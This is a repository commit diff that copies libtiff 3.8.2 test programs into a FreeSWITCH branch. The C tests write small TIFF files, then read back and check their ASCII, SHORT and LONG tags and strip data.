+#include "tiffio.h"
+
+const char	*filename = "ascii_test.tiff";
+
+static struct Tags {
+	ttag_t		tag;
+	const char	*value;
+} ascii_tags[] = {
+	{ TIFFTAG_DOCUMENTNAME, "Test TIFF image" },
+	{ TIFFTAG_IMAGEDESCRIPTION, "Temporary test image" },
+	{ TIFFTAG_MAKE, "This is not scanned image" },
+	{ TIFFTAG_MODEL, "No scanner" },
+	{ TIFFTAG_PAGENAME, "Test page" },
+	{ TIFFTAG_SOFTWARE, "Libtiff library" },
+	{ TIFFTAG_DATETIME, "2004:09:10 16:09:00" },
+	{ TIFFTAG_ARTIST, "Andrey V. Kiselev" },
+	{ TIFFTAG_HOSTCOMPUTER, "Debian GNU/Linux (Sarge)" },
+	{ TIFFTAG_TARGETPRINTER, "No printer" },
+	{ TIFFTAG_PIXAR_TEXTUREFORMAT, "No texture" },
+	{ TIFFTAG_PIXAR_WRAPMODES, "No wrap" },
+	{ TIFFTAG_COPYRIGHT, "Copyright (c) 2004, Andrey Kiselev" }
+};
+#define NTAGS   (sizeof (ascii_tags) / sizeof (ascii_tags[0]))
+
+const char *ink_names = "Red\0Green\0Blue";
+const int ink_names_size = 15;
+
+int
+main(int argc, char **argv)
+{
+	TIFF		*tif;
+	int		i;
+	unsigned char	buf[3] = { 0, 127, 255 };
+	char		*value;
+
+	/* Test whether we can write tags. */
+	tif = TIFFOpen(filename, "w");
+	if (!tif) {
+		fprintf (stderr, "Can't create test TIFF file %s.\n", filename);
+		return 1;
+	}
+
+	if (!TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, 1)) {
+		fprintf (stderr, "Can't set ImageWidth tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_IMAGELENGTH, 1)) {
+		fprintf (stderr, "Can't set ImageLength tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8)) {
+		fprintf (stderr, "Can't set BitsPerSample tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 3)) {
+		fprintf (stderr, "Can't set SamplesPerPixel tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG)) {
+		fprintf (stderr, "Can't set PlanarConfiguration tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_RGB)) {
+		fprintf (stderr, "Can't set PhotometricInterpretation tag.\n");
+		goto failure;
+	}
+
+	for (i = 0; i < NTAGS; i++) {
+		if (!TIFFSetField(tif, ascii_tags[i].tag,
+				  ascii_tags[i].value)) {
+			fprintf(stderr, "Can't set tag %d.\n",
+				(int)ascii_tags[i].tag);
+			goto failure;
+		}
+	}
+
+	/* InkNames tag has special form, so we handle it separately. */
+	if (!TIFFSetField(tif, TIFFTAG_NUMBEROFINKS, 3)) {
+		fprintf (stderr, "Can't set tag %d.\n", TIFFTAG_NUMBEROFINKS);
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_INKNAMES, ink_names_size, ink_names)) {
+		fprintf (stderr, "Can't set tag %d.\n", TIFFTAG_INKNAMES);
+		goto failure;
+	}
+
+	/* Write dummy pixel data. */
+	if (!TIFFWriteScanline(tif, buf, 0, 0) < 0) {
+		fprintf (stderr, "Can't write image data.\n");
+		goto failure;
+	}
+
+	TIFFClose(tif);
+	
+	/* Ok, now test whether we can read written values. */
+	tif = TIFFOpen(filename, "r");
+	if (!tif) {
+		fprintf (stderr, "Can't open test TIFF file %s.\n", filename);
+		return 1;
+	}
+
+	for (i = 0; i < NTAGS; i++) {
+		if (!TIFFGetField(tif, ascii_tags[i].tag, &value)
+		    || strcmp(value, ascii_tags[i].value)) {
+			fprintf(stderr, "Can't get tag %d.\n",
+				(int)ascii_tags[i].tag);
+			goto failure;
+		}
+	}
+
+	if (!TIFFGetField(tif, TIFFTAG_INKNAMES, &value)
+	    || memcmp(value, ink_names, ink_names_size)) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_INKNAMES);
+		goto failure;
+	}
+
+	TIFFClose(tif);
+	
+	/* All tests passed; delete file and exit with success status. */
+	unlink(filename);
+	return 0;
+
+failure:
+	/* Something goes wrong; close file and return unsuccessful status. */
+	TIFFClose(tif);
+	unlink(filename);
+	return 1;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/check_tag.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/check_tag.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/check_tag.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/check_tag.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/check_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+/* $Id: check_tag.c,v 1.2 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Module to test LONG tags read/write functions.
+ */
+
+#include "tiffio.h"
+
+int
+CheckShortField(TIFF *tif, ttag_t field, uint16 value)
+{
+	uint16 tmp = 0;
+
+	if (!TIFFGetField(tif, field, &tmp)) {
+		fprintf (stderr, "Problem fetching tag %lu.\n",
+			 (unsigned long) field);
+		return -1;
+	}
+	if (tmp != value) {
+		fprintf (stderr, "Wrong SHORT value fetched for tag %lu.\n",
+			 (unsigned long) field);
+		return -1;
+	}
+
+	return 0;
+}
+
+int
+CheckLongField(TIFF *tif, ttag_t field, uint32 value)
+{
+	uint32 tmp = 0;
+
+	if (!TIFFGetField(tif, field, &tmp)) {
+		fprintf (stderr, "Problem fetching tag %lu.\n",
+			 (unsigned long) field);
+		return -1;
+	}
+	if (tmp != value) {
+		fprintf (stderr, "Wrong LONG value fetched for tag %lu.\n",
+			 (unsigned long) field);
+		return -1;
+	}
+
+	return 0;
+}
+
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/long_tag.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/long_tag.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/long_tag.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/long_tag.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/long_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+/* $Id: long_tag.c,v 1.3 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Module to test LONG tags read/write functions.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+
+#ifdef HAVE_UNISTD_H 
+# include <unistd.h> 
+#endif 
+
+#include "tiffio.h"
+
+extern int CheckLongField(TIFF *, ttag_t, uint32);
+
+const char	*filename = "long_test.tiff";
+
+static struct Tags {
+	ttag_t		tag;
+	short		count;
+	uint32		value;
+} long_tags[] = {
+	{ TIFFTAG_SUBFILETYPE, 1, FILETYPE_REDUCEDIMAGE|FILETYPE_PAGE|FILETYPE_MASK }
+};
+#define NTAGS   (sizeof (long_tags) / sizeof (long_tags[0]))
+
+const uint32	width = 1;
+const uint32	length = 1;
+const uint32	rows_per_strip = 1;
+
+int
+main(int argc, char **argv)
+{
+	TIFF		*tif;
+	int		i;
+	unsigned char	buf[3] = { 0, 127, 255 };
+
+	/* Test whether we can write tags. */
+	tif = TIFFOpen(filename, "w");
+	if (!tif) {
+		fprintf (stderr, "Can't create test TIFF file %s.\n", filename);
+		return 1;
+	}
+
+	if (!TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width)) {
+		fprintf (stderr, "Can't set ImageWidth tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_IMAGELENGTH, length)) {
+		fprintf (stderr, "Can't set ImageLength tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8)) {
+		fprintf (stderr, "Can't set BitsPerSample tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 3)) {
+		fprintf (stderr, "Can't set SamplesPerPixel tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rows_per_strip)) {
+		fprintf (stderr, "Can't set SamplesPerPixel tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG)) {
+		fprintf (stderr, "Can't set PlanarConfiguration tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_RGB)) {
+		fprintf (stderr, "Can't set PhotometricInterpretation tag.\n");
+		goto failure;
+	}
+
+	for (i = 0; i < NTAGS; i++) {
+		if (!TIFFSetField(tif, long_tags[i].tag,
+				  long_tags[i].value)) {
+			fprintf(stderr, "Can't set tag %d.\n",
+				(int)long_tags[i].tag);
+			goto failure;
+		}
+	}
+
+	/* Write dummy pixel data. */
+	if (!TIFFWriteScanline(tif, buf, 0, 0) < 0) {
+		fprintf (stderr, "Can't write image data.\n");
+		goto failure;
+	}
+
+	TIFFClose(tif);
+	
+	/* Ok, now test whether we can read written values. */
+	tif = TIFFOpen(filename, "r");
+	if (!tif) {
+		fprintf (stderr, "Can't open test TIFF file %s.\n", filename);
+		return 1;
+	}
+
+	if (CheckLongField(tif, TIFFTAG_IMAGEWIDTH, width) < 0)
+		goto failure;
+
+	if (CheckLongField(tif, TIFFTAG_IMAGELENGTH, length) < 0)
+		goto failure;
+
+	if (CheckLongField(tif, TIFFTAG_ROWSPERSTRIP, rows_per_strip) < 0)
+		goto failure;
+
+	for (i = 0; i < NTAGS; i++) {
+		if (CheckLongField(tif, long_tags[i].tag,
+				   long_tags[i].value) < 0)
+			goto failure;
+	}
+
+	TIFFClose(tif);
+	
+	/* All tests passed; delete file and exit with success status. */
+	unlink(filename);
+	return 0;
+
+failure:
+	/* Something goes wrong; close file and return unsuccessful status. */
+	TIFFClose(tif);
+	unlink(filename);
+	return 1;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/short_tag.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/short_tag.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/short_tag.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/short_tag.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/short_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,179 @@
+/* $Id: short_tag.c,v 1.6 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Module to test SHORT tags read/write functions.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+
+#ifdef HAVE_UNISTD_H 
+# include <unistd.h> 
+#endif 
+
+#include "tiffio.h"
+
+extern int CheckShortField(TIFF *, ttag_t, uint16);
+
+const char	*filename = "short_test.tiff";
+
+#define	SPP	3		/* Samples per pixel */
+const uint16	width = 1;
+const uint16	length = 1;
+const uint16	bps = 8;
+const uint16	photometric = PHOTOMETRIC_RGB;
+const uint16	rows_per_strip = 1;
+const uint16	planarconfig = PLANARCONFIG_CONTIG;
+
+static struct SingleTags {
+	ttag_t		tag;
+	uint16		value;
+} short_single_tags[] = {
+	{ TIFFTAG_COMPRESSION, COMPRESSION_NONE },
+	{ TIFFTAG_FILLORDER, FILLORDER_MSB2LSB },
+	{ TIFFTAG_ORIENTATION, ORIENTATION_BOTRIGHT },
+	{ TIFFTAG_RESOLUTIONUNIT, RESUNIT_INCH },
+	{ TIFFTAG_INKSET, INKSET_MULTIINK },
+	{ TIFFTAG_MINSAMPLEVALUE, 23 },
+	{ TIFFTAG_MAXSAMPLEVALUE, 241 },
+	{ TIFFTAG_NUMBEROFINKS, SPP },
+	{ TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT }
+	/*{ TIFFTAG_IMAGEDEPTH, 1 },
+	{ TIFFTAG_TILEDEPTH, 1 }*/
+};
+#define NSINGLETAGS   (sizeof(short_single_tags) / sizeof(short_single_tags[0]))
+
+int
+main(int argc, char **argv)
+{
+	TIFF		*tif;
+	int		i;
+	unsigned char	buf[3] = { 0, 127, 255 };
+
+	/* Test whether we can write tags. */
+	tif = TIFFOpen(filename, "w");
+	if (!tif) {
+		fprintf (stderr, "Can't create test TIFF file %s.\n", filename);
+		return 1;
+	}
+
+	if (!TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width)) {
+		fprintf (stderr, "Can't set ImageWidth tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_IMAGELENGTH, length)) {
+		fprintf (stderr, "Can't set ImageLength tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bps)) {
+		fprintf (stderr, "Can't set BitsPerSample tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, SPP)) {
+		fprintf (stderr, "Can't set SamplesPerPixel tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rows_per_strip)) {
+		fprintf (stderr, "Can't set SamplesPerPixel tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PLANARCONFIG, planarconfig)) {
+		fprintf (stderr, "Can't set PlanarConfiguration tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, photometric)) {
+		fprintf (stderr, "Can't set PhotometricInterpretation tag.\n");
+		goto failure;
+	}
+
+	for (i = 0; i < NSINGLETAGS; i++) {
+		if (!TIFFSetField(tif, short_single_tags[i].tag,
+				  short_single_tags[i].value)) {
+			fprintf(stderr, "Can't set tag %d.\n",
+				(int)short_single_tags[i].tag);
+			goto failure;
+		}
+	}
+
+	/* Write dummy pixel data. */
+	if (!TIFFWriteScanline(tif, buf, 0, 0) < 0) {
+		fprintf (stderr, "Can't write image data.\n");
+		goto failure;
+	}
+
+	TIFFClose(tif);
+	
+	/* Ok, now test whether we can read written values. */
+	tif = TIFFOpen(filename, "r");
+	if (!tif) {
+		fprintf (stderr, "Can't open test TIFF file %s.\n", filename);
+		return 1;
+	}
+	
+	if (CheckLongField(tif, TIFFTAG_IMAGEWIDTH, width) < 0)
+		goto failure;
+
+	if (CheckLongField(tif, TIFFTAG_IMAGELENGTH, length) < 0)
+		goto failure;
+
+	if (CheckShortField(tif, TIFFTAG_BITSPERSAMPLE, bps) < 0)
+		goto failure;
+
+	if (CheckShortField(tif, TIFFTAG_PHOTOMETRIC, photometric) < 0)
+		goto failure;
+
+	if (CheckShortField(tif, TIFFTAG_SAMPLESPERPIXEL, SPP) < 0)
+		goto failure;
+
+	if (CheckLongField(tif, TIFFTAG_ROWSPERSTRIP, rows_per_strip) < 0)
+		goto failure;
+
+	if (CheckShortField(tif, TIFFTAG_PLANARCONFIG, planarconfig) < 0)
+		goto failure;
+
+	for (i = 0; i < NSINGLETAGS; i++) {
+		if (CheckShortField(tif, short_single_tags[i].tag,
+				    short_single_tags[i].value) < 0)
+			goto failure;
+	}
+
+	TIFFClose(tif);
+	
+	/* All tests passed; delete file and exit with success status. */
+	unlink(filename);
+	return 0;
+
+failure:
+	/* Something goes wrong; close file and return unsuccessful status. */
+	TIFFClose(tif);
+	unlink(filename);
+	return 1;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/strip.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/test/strip.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/test/strip.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/test/strip.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/test/strip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,289 @@
+/* $Id: strip.c,v 1.3 2006/03/23 14:54:02 dron Exp $ */
+
+/*
+ * Copyright (c) 2004, Andrey Kiselev  <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Functions to test strip interface of libtiff.
+ */
+
+#include <stdio.h>
+#include <string.h>
+
+#include "tiffio.h"
+
+int
+write_strips(TIFF *tif, const tdata_t array, const tsize_t size)
+{
+	tstrip_t	strip, nstrips;
+	tsize_t		stripsize, offset;
+
+	stripsize = TIFFStripSize(tif);
+	if (!stripsize) {
+		fprintf (stderr, "Wrong size of strip.\n");
+		return -1;
+	}
+
+	nstrips = TIFFNumberOfStrips(tif);
+	for (offset = 0, strip = 0;
+	     offset < size && strip < nstrips;
+	     offset+=stripsize, strip++) {
+		/*
+		 * Properly write last strip.
+		 */
+		tsize_t	bufsize = size - offset;
+		if (bufsize > stripsize)
+			bufsize = stripsize;
+
+		if (TIFFWriteEncodedStrip(tif, strip, (char *)array + offset,
+					  bufsize) != bufsize) {
+			fprintf (stderr, "Can't write strip %lu.\n",
+				 (unsigned long)strip);
+			return -1;
+		}
+        }
+
+	return 0;
+}
+
+int
+read_strips(TIFF *tif, const tdata_t array, const tsize_t size)
+{
+	tstrip_t	strip, nstrips;
+	tsize_t		stripsize, offset;
+	tdata_t		buf = NULL;
+
+	stripsize = TIFFStripSize(tif);
+	if (!stripsize) {
+		fprintf (stderr, "Wrong size of strip.\n");
+		return -1;
+	}
+
+	buf = _TIFFmalloc(stripsize);
+	if (!buf) {
+		fprintf (stderr, "Can't allocate space for strip buffer.\n");
+		return -1;
+	}
+
+	nstrips = TIFFNumberOfStrips(tif);
+	for (offset = 0, strip = 0;
+	     offset < size && strip < nstrips;
+	     offset+=stripsize, strip++) {
+		/*
+		 * Properly read last strip.
+		 */
+		tsize_t	bufsize = size - offset;
+		if (bufsize > stripsize)
+			bufsize = stripsize;
+
+		if (TIFFReadEncodedStrip(tif, strip, buf, -1) != bufsize) {
+			fprintf (stderr, "Can't read strip %lu.\n",
+				 (unsigned long)strip);
+			return -1;
+		}
+		if (memcmp(buf, (char *)array + offset, bufsize) != 0) {
+			fprintf (stderr, "Wrong data read for strip %lu.\n",
+				 (unsigned long)strip);
+			_TIFFfree(buf);
+			return -1;
+		}
+        }
+
+	_TIFFfree(buf);
+
+	return 0;
+}
+
+int
+create_image_striped(const char *name, uint32 width, uint32 length,
+		      uint32 rowsperstrip, uint16 compression,
+		      uint16 spp, uint16 bps, uint16 photometric,
+		      uint16 sampleformat, uint16 planarconfig,
+		      const tdata_t array, const tsize_t size)
+{
+	TIFF		*tif;
+
+	/* Test whether we can write tags. */
+	tif = TIFFOpen(name, "w");
+	if (!tif)
+		goto openfailure;
+
+	if (!TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width)) {
+		fprintf (stderr, "Can't set ImageWidth tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_IMAGELENGTH, length)) {
+		fprintf (stderr, "Can't set ImageLength tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bps)) {
+		fprintf (stderr, "Can't set BitsPerSample tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, spp)) {
+		fprintf (stderr, "Can't set SamplesPerPixel tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, rowsperstrip)) {
+		fprintf (stderr, "Can't set RowsPerStrip tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PLANARCONFIG, planarconfig)) {
+		fprintf (stderr, "Can't set PlanarConfiguration tag.\n");
+		goto failure;
+	}
+	if (!TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, photometric)) {
+		fprintf (stderr, "Can't set PhotometricInterpretation tag.\n");
+		goto failure;
+	}
+
+	if (write_strips(tif, array, size) < 0) {
+		fprintf (stderr, "Can't write image data.\n");
+		goto failure;
+	}
+
+	TIFFClose(tif);
+	return 0;
+
+failure:
+	TIFFClose(tif);
+openfailure:
+	fprintf (stderr, "Can't create test TIFF file %s:\n"
+"    ImageWidth=%ld, ImageLength=%ld, RowsPerStrip=%ld, Compression=%d,\n"
+"    BitsPerSample=%d, SamplesPerPixel=%d, SampleFormat=%d,\n"
+"    PlanarConfiguration=%d, PhotometricInterpretation=%d.\n",
+		 name, width, length, rowsperstrip, compression,
+		 bps, spp, sampleformat, planarconfig,
+		 photometric);
+	return -1;
+}
+
+int
+read_image_striped(const char *name, uint32 width, uint32 length,
+		    uint32 rowsperstrip, uint16 compression,
+		    uint16 spp, uint16 bps, uint16 photometric,
+		    uint16 sampleformat, uint16 planarconfig,
+		    const tdata_t array, const tsize_t size)
+{
+	TIFF		*tif;
+	uint16		value_u16;
+	uint32		value_u32;
+
+	/* Test whether we can read written values. */
+	tif = TIFFOpen(name, "r");
+	if (!tif)
+		goto openfailure;
+	
+	if (TIFFIsTiled(tif)) {
+		fprintf (stderr, "Can't read image %s, it is tiled.\n",
+			 name);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &value_u32)
+	    || value_u32 != width) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_IMAGEWIDTH);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &value_u32)
+	    || value_u32 != length) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_IMAGELENGTH);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_BITSPERSAMPLE, &value_u16)
+	    || value_u16 != bps) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_BITSPERSAMPLE);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &value_u16)
+	    || value_u16 != photometric) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_PHOTOMETRIC);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &value_u16)
+	    || value_u16 != spp) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_SAMPLESPERPIXEL);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_ROWSPERSTRIP, &value_u32)
+	    || value_u32 != rowsperstrip) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_ROWSPERSTRIP);
+		goto failure;
+	}
+	if (!TIFFGetField(tif, TIFFTAG_PLANARCONFIG, &value_u16)
+	    || value_u16 != planarconfig) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_PLANARCONFIG);
+		goto failure;
+	}
+
+	if (read_strips(tif, array, size) < 0) {
+		fprintf (stderr, "Can't read image data.\n");
+		goto failure;
+	}
+
+	TIFFClose(tif);
+	return 0;
+
+failure:
+	TIFFClose(tif);
+openfailure:
+	fprintf (stderr, "Can't read test TIFF file %s:\n"
+"    ImageWidth=%ld, ImageLength=%ld, RowsPerStrip=%ld, Compression=%d,\n"
+"    BitsPerSample=%d, SamplesPerPixel=%d, SampleFormat=%d,\n"
+"    PlanarConfiguration=%d, PhotometricInterpretation=%d.\n",
+		 name, width, length, rowsperstrip, compression,
+		 bps, spp, sampleformat, planarconfig,
+		 photometric);
+	return -1;
+}
+
+int
+write_scanlines(TIFF *tif, const tdata_t array, const tsize_t size)
+{
+	uint32		length, row;
+	tsize_t		scanlinesize, offset;
+
+	if (!TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &length)) {
+		fprintf (stderr, "Can't get tag %d.\n", TIFFTAG_IMAGELENGTH);
+		return -1;
+	}
+	
+	scanlinesize = TIFFScanlineSize(tif);
+	if (!scanlinesize) {
+		fprintf (stderr, "Wrong size of scanline.\n");
+		return -1;
+	}
+
+	for (offset = 0, row = 0; row < length; offset+=scanlinesize, row++) {
+		if (TIFFWriteScanline(tif, (char *)array + offset, row, 0) < 0) {
+			fprintf (stderr,
+				 "Can't write image data at row %lu.\n", row);
+			return -1;
+		}
+        }
+
+	return 0;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/test/strip_rw.c

